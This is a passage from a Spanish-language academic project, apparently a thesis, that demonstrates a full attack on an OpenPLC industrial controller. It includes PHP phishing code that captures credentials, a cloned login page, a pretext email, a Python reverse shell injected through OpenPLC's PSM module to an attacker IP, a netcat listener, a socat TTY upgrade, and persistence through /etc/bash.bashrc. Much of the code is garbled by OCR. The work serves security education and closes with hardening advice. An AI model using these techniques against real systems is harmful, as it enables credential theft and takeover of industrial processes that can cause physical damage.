header("Location: http://192.168.1.90:8080/login ");
shandle fopen("diccionario.txt", "a");

($_GET $variable $value) {
fwrite($handle, $variable);

fwrite($handle, "=");
fwrite($handle, $value);

Ffwrite($handle, " e
}

fwrite($handle, "
se($handle)

Una vez introducidas las credenciales, al ser redirigido al login oficial el operario
supondra que ha introducido unas credenciales erréneas, provocando un segundo
intento de login, en este segundo intento al estar ubicado en la pagina verdadera podra
acceder sin errores a la pagina de OpenPLC. De esta manera el operario no sospechara

que sus credenciales han sido secuestradas.
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http://192.168.1.90:8080/login

Cddigo HTML del login original es el siguiente:

<form action="login' nethud='P05T' class='l_ng@n-furm'::-

Cédigo HTML Alterado:

*login—form'>

El action apunta al codigo PHP maliciosos, provocando que al enviar el formulario el

fichero .php se ejecute.

Por lo que una vez con todos los ficheros necesarios del phishing, subiremos a un

servidor web el cual interprete PHP.

O 8 = 000webhost.com
(‘6-' gegg\gfﬂlggﬁesé sitiowebfalsodemoopenplc * public_html
v B/ O Name v
~ '@ public_htm] 0 B .htaccess
> il tmp 0 i diccionario.txt
0 K index.htm|
O ki OpenPLC.php

Si abrimos el dominio https://sitiowebfalsodemoopenplc.000webhostapp.com/ veremos

la siguiente pagina web la cual simula la oficial.

Welcome to OpenPLC

Use your credentials to login
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https://sitiowebfalsodemoopenplc.000webhostapp.com/

4.5.4. Envié del phishing

Enviaremos un correo a la victima, en este caso al operario el cual se encarga de

controlar el PLC:

OpenPLC necesita actualizarse rapido!l! 'recibidos x 5 2
Luis Miranda Sierra <miranda_sierra luis@agmail.com= 2:50 (hace 0 minutos) ¥ 4 :
para mi -

Buenas noches Operario:

Te escribimos desde el departamento de cibersequridad para gque actualices OpenPLC a la dltima versidn, ya
que se ha enconfrado una nueva vulnerabilidad critica, te dejamos el acceso directo para que realices los
cambios OpenPLC

Como podemos ver el link queda camuflado provocando que el operario caiga con

facilidad en el phishing.

Una vez ingresadas las credenciales en el sitio web falso sera redireccionando a la

pagina real ubicada en http://192.168.1.90:8080/login provocando que al segundo

intento pueda iniciar sesion sin alertarse de ninguna irregularidad.
4.5.5. Credenciales e inicio de sesion

En este momento si el usuario ha caido en el phishing disponemos de unas credenciales

validas con las cuales podemos acceder a OpenPLC:

/public_html/diccionario.txt

1
2
3
4

username=0perario
password=123456
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http://192.168.1.90:8080/login

Iniciamos sesion para validar las credenciales:

 192.168.1.90 @ @ =

Semaforos Operario .

Dashboard

Status: Stopped

Programs
Program: Semaforos
Slave Devices N
Description:
Monitoring File: 219411 st
St Runtime: N/A
Users
Settings Runtime Logs
LOgOUt OpenPLC Runtime is not running

Status: Stopped

Start PLC

192.168.1.90:8080/settings

En este momento hemos conseguido Iniciar sesién por lo que ya estamos autenticados.
4.5.6. Creacion de larevershell con Python

OpenPLC tiene una funcién integrada que permite la inyeccion de cédigo Python para
controlar el PLC, gracias a esta funcion podemos ganar acceso al sistema creando una

reverse shell en Python que apunte a la maquina atacante:

nr shell.txt

revershell. txt
v 249 B

sock
s-=socket.socket( socket.SOCK_STREAM)
s.connect(( !
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4.5.7. Inyectar reverse shell en OpenPLC

Una vez estamos en la sesion del Operario nos dirigimos al menud /hardware y en

OpenPLC Hardware Layer activamos el moédulo PSM:

OpenPLC Hardware Layer

Python on Linux (PSM) v

Inyectamos el cédigo de la reverse Shell:

import dup2
from import run
import socket
= .socket( .AF_INET, .S0CK_STREAM)

.connect(("192.168.1.84",1234))
(s.fileno(),0)
(s.fileno(), 1)
(s.fileno(),2)
["/bin/bash","-1"]

Antes de ejecutar el PLC nos ponemos en escucha con netcat para recibir la shell:

» nc -lvp 1234
listening on [anyl 1234 ...

Iniciamos el PLC provocando que se ejecute el codigo Python en el proceso de

arranque, recibiendo una shell en el equipo atacante:
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45.8. Tratamiento de TTY

En este momento tenemos el control total de la maquina victima, ya que tenemos
permisos root. Para poder trabajar de forma mas comoda vamos a desplegar una TTY
interactiva haciendo uso de socat, esta herramienta la podemos instalar en la maquina

victima.

Mé&quina atacante:

En este momento hemos conseguido enviarnos a la maquina atacante una Shell
totalmente interactiva en la que dispondremos de historial, ctrl ¢, movimiento en la linea

de comandos, etc:

4.5.9. Mantener persistencia en el sistema

Si cerramos la sesién de forma accidental, el PLC se apaga o cualquier otro
inconveniente no podemos recuperar la sesién a la maquina victima hasta que el PLC
vuelva a ser iniciado, ya que en el arranque ejecuta el cddigo Python que entabla la

conexioén de la reverse shell.

Para mantener la persistencia vamos a hacer uso del archivo bash.bashrc ubicado en
/etc, este archivo se encarga de la configuracion de la shell bash de todos los usuarios,

desde este archivo apuntaremos a nuestra reverse shell TTY con socat.

Creamos un archivo oculto con extension .elf que almacene el cddigo a ejecutar,

debemos darle permisos de ejecucién con chmod +x:

~/Docu |'|'|-:-:-'"|t-:::-5,.-" ipts$ ca .socat.elf

pty,stderr,setsid,sigint,sane p:192.168.1.84:

Editamos el archivo /etc/bash.bashrc y apuntamos al .socat.elf con & para que se lance

en segundo plano.

/home/luis/Documentos/
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En este momento cada vez que el usuario se ponga en modo super usuario recibiremos

una shell, siempre y cuando nos quedemos en escucha por la maquina atacante.

El atacante ha conseguido explotar la maquina victima y mantener persistencia en el
sistema, teniendo el control total, pudiendo parar el PLC de forma remota ocasionando
dafios criticos al proceso industrial.

4.5.10. Demo de ataque

® tas

o i ol e

® Unar 0 s = e
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https://www.youtube.com/embed/k-lLniYbk1I?feature=oembed

5. CONCLUSIONES

Podemos extraer diferentes ideas del proyecto, la principal y mas importante se resume
en el valor indispensable del bastionado en los sistemas y redes desplegados, el cual
provee la seguridad necesaria a la hora de prevenir posibles ataques. En un sistema
todos sus componentes deben estar actualizados de forma constante evitando nuevas
amenazas. El factor humano es una de las principales vias potenciales usadas para
atacar un activo, por lo que se deben entrenar a todos los individuos que forman parte

del proceso evitando asi un vector de ataque claro como el mostrado en este proyecto.
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6. LINEAS DE INVESTIGACION FUTURAS

Como posibles lineas de investigacion tenemos las siguientes:

e Implementacion de Arduino con OpenPLC.

e Explotacion de nuevos vectores de ataque en redes OT.

o Estudiar los diferentes Ataques posibles a un PLC.

o Estudiar las diferentes posibilidades de un atacante con permisos root en un PLC
e Ataques a sistemas SCADA.

e Comprometer los diferentes activos de la red desde la maquina comprometida.
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